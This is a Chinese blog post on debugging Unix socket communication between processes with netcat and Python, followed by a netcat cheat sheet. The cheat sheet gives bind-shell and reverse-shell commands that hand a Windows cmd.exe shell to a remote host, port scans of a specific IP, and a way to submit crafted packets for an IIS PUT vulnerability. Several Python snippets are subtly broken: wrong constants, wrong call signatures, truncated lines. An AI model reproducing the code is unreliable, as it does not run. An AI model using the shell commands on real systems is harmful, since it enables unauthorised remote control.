Linux下進程間Socket通信調試debug方法
在一個復雜的軟件系統中,往往需要有各個組件之間的數據傳遞,在組件間數據傳遞過程中,又會不可避免的出現一些小問題,這時候我們就需要來進行debug了,由於最近的一個系統使用到了collectd和rrdcached來收集數據和畫圖,它們之間采用了Unix socket通信,因此小小的學習了一下相關知識。
首先我們來回憶下Linux下進程通信有哪些方法:
管道(Pipe)及有名管道(FIFO)\UNIX BSD
信號(Signal) \UNIX BSD
報文消息隊列(Message)\UNIX system V
信號量(Semaphore)\UNIX system V
共享存儲區(Shared memory)\UNIX system V
套接字(Socket)
對於管道和信號我們都很熟悉,shell中常見的“|”,“kill -9”,管道更多用來單向有親緣關系的進程。消息隊列接觸的比較少,但使用方法應該和AMQP差不多,通過中轉發送與接收,不會阻塞進程。而信號量更多的是一種鎖機制,本身不會做實際的數據交換。
廢話那麽多,終於講到重點Scoket了。由於最開始的進程通信源於單機系統,前面幾種方式,在通信過程中進程的互相識別方法為進程號(PID),然後隨著網絡的發展,這種方式則開始落後了,由此產生了Sokcet通信。
既然有了Socket通信,那就有Socket編程,應該算得上是網絡編程必學了吧~操作系統實現了TCP/IP協議簇,使用socket接口來調用,可以實現tcp、udp、unix socket通信。
發送端調試
在restAPI大行其道的今天,應用層的調試我們遇到最多的應該是http了,這個很簡單,直接上curl。curl -d ${postdata} -b ${cookies} http://dizhi
NC篇
到傳輸層,我們有網絡工具中的瑞士軍刀netcat
netcat提供的nc命令,具有掃描(比不過nmap)、監聽、連接等功能
在本機連接某個Unix socket,直接執行nc -U /dev/shm/rrdcached.sock
就可以開始給這個socket發送信息啦。
註意:netcat-openbsd才支持Unix socket,並且區分Unix stream socket和Unix datagram socket
nc -U /tmp/socket #Connect to UNIX-domain stream socket nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
python篇
python的socket庫來實現客戶端功能
簡單五個步驟:
創建一個socket
connect到服務器端口或文件
發送數據
接收返回
關閉連接
非常簡單,很適合調試啊
import socket host=‘‘ port=‘‘ #創建 sockets = socket.socket(socket.AF_INET, socket.SOCKET_STREAM) ‘‘‘ 函數 socket.socket 創建一個 socket,返回該 socket 的描述符,將在後面相關函數中使用。該函數帶有兩個參數: Address Family:可以選擇 AF_INET(用於 Internet 進程間通信) 或者 AF_UNIX(用於同一臺機器進程間通信) Type:套接字類型,可以是 SOCKET_STREAM(流式套接字,主要用於 TCP 協議) 或者SOCKET_DGRAM(數據報套接字,主要用於 UDP 協議) ‘‘‘ # 創建連接 s.connect(host,port) ‘‘‘ 如果是unix socket,此處則是對應的socket文件,如 s.connect("/var/run/rrdcached.sock") ‘‘‘ # 發送數據 s.send(‘STATS‘) # 接收數據s.recv(10240 # 關閉連接s.close
接收端調試
NC 篇
同樣的,接收端也可以用nc監聽端口來偽裝server端。
nc -lU /var/tmp/dsocket
python篇
同樣幾個步驟:
創建socket實例
綁定端口或socket文件
開始監聽
接收數據
發送數據
關閉連接
多出一個開始監聽~
import socket host = ‘‘ port = ‘‘ #創建socket實例 s = socket.socket(socket.AF_UNIX, socket.SOCKET_STREAM) #綁定端口s.bind(host,port) ‘‘‘ 如果是unix socket,則直接寫sock文件,如 s.bind("/var/run/rrdcached") ‘‘‘ #開始監聽 s.listen(5) ‘‘‘ socket.listen(backlog) Listen for connections made to the socket. The backlog argument specifies the maximum number of queued connections and should be at least 0; the maximum value is system-dependent (usually 5), the minimum value is forced to 0. ‘‘‘ # 接收數據 connecttion,address = socket.accept() ‘‘‘ socket.accept() Accept a connection. The socket must be bound to an address and listening for connections. The return value is a pair (conn, address) where conn is a new socket object usable to send and receive data on the connection, and address is the address bound to the socket on the other end of the connection. ‘‘‘ print "%s"%connection.recv(1024) # 發送數據 connection.send("success") # 關閉連接 connection.close
掌握了這兩個常用的簡單調試手段,是不是感覺輕松多了呢~
參考:
https://docs.python.org/2/library/socket.html
http://www.cnblogs.com/hazir/p/python_socket_programming.html
http://www.oschina.net/translate/linux-netcat-command
http://blog.csdn.net/hguisu/article/details/7445768/
附上nc常用命令
【命令】nc -v ip port 【例如】nc -v 96.44.174.9 80 【解釋】掃瞄某 IP 的某個端口,返回端口信息詳細輸出。 【命令】nc -v -z ip port-port 【例如】nc -v -z 96.44.174.9 80-1024 【解釋】掃描某IP的端口段,返回端口信息詳細輸出,但掃描速度很慢。 【命令】nc -v -z -u ip port-port 【例如】nc -v -z -u 96.44.174.9 25-1024 【解釋】掃描某 IP 的某 UDP 端口段,返回端口信息詳細輸出,但掃描速度很慢。 【命令】nc -l -p 520 【解釋】開啟本機的 TCP 520 端口並監聽次端口的上傳輸的數據。 【命令】nc -l -v -p 520 【解釋】開啟本機的 TCP 520 端口並將監聽到的信息輸出到當前 CMD 窗口。這個命令也是端口轉發shell的基礎。 【命令】nc -l -p 520 > C:/log.dat 【解釋】開啟本機的 TCP 520 端口並將監聽到的信息輸出到 C:/log.dat 下的日誌文件裏。 【命令】nc -nvv 192.168.1.101 520【解釋】連接到192.168.1.101主機的 520。 重點一(正向連接): 【遠程運行】nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe 【本地運行】nc -nvv 192.168.1.101 2012 【解釋】采用正向連接方式,遠程主機(註:假設IP地址為 192.168.1.101) 上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到2012 端口, 當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ; 在本地主機上運行 nc -nvv 192.168.1.101 2012 用於連接已經將 CMD 重定向到 2012 端口的遠程主機 (註:假設IP地址為 192.168.1.101)。 重點二(反向連接): 【本地運行】nc -l –vv -p 2012 【遠程運行】nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012 【解釋】采用反向連接方式,先在本地主機(擁有公網IP)運行 nc -l –vv -p 2012 開啟2012 端口並監聽等待遠程主機連接; 在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為2012 的主機上, 連接成功後 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。 【命令】nc -vv www.91ri.org port < C:/http.txt 【例如】nc -vv www.91ri.org 80 < C:/http.txt 【解釋】提交http.txt內數據包到 但可以跟蹤過程。 例如IISput漏洞就可以自定義數據包使用此方法提交。 【命令1】nc -v -n ip port < C:/sunzn.exe 【命令2】nc -v -l -p port > D:/sunzn.exe 【解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容, 並把這些數據發送到遠程主機的對應端口上(註:命令行中的 IP 為接收文件的遠程主機 IP ), 在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口並把接收到的信息數據寫到 D:/sunzn.exe 中, 兩行命令實現了文件在本地主機和遠程主機間的傳輸。
本文出自 “DanielQu” 博客,請務必保留此出處http://qujunorz.blog.51cto.com/6378776/1942670
Linux下進程間Socket通信調試debug方法